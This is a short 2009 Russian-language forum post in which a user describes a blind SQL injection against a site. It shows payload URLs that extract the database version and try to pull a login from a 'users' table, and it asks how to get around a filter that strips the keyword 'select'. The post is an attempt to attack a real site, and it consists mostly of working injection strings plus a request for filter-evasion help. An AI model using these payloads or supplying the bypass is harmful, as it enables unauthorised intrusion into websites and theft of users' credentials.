16.10.2009, 17:28
|
|
Постоянный
Регистрация: 07.03.2009
Сообщений: 357
С нами:
9042754
Репутация:
399
|
|
Есть страница со слепой скулей.
При вводе
Код:
?id=1+AND+(SUBSTRING(version(),1,1 ))>33..127
всё работает нормально.
При вводе
Код:
?id=1+AND+(SUBSTRING((select+login+from+users+limit+1,1),1,1 ))>33..127
Тишина.(таблица и поля 100% называться так)
Для проверки ввёл
Код:
?id=1+AND+(SUBSTRING((select+select+version()),1,1 ))>33..127
Всё вывелось.
Т.е. в коде видимо идёт замена 'select' на '', для пробы попробовал selselectct, тоже не помогло(видимо проверка в цикле), можно тут что-то сделать?
Последний раз редактировалось Gray_Wolf; 16.10.2009 в 17:43..
|
|
|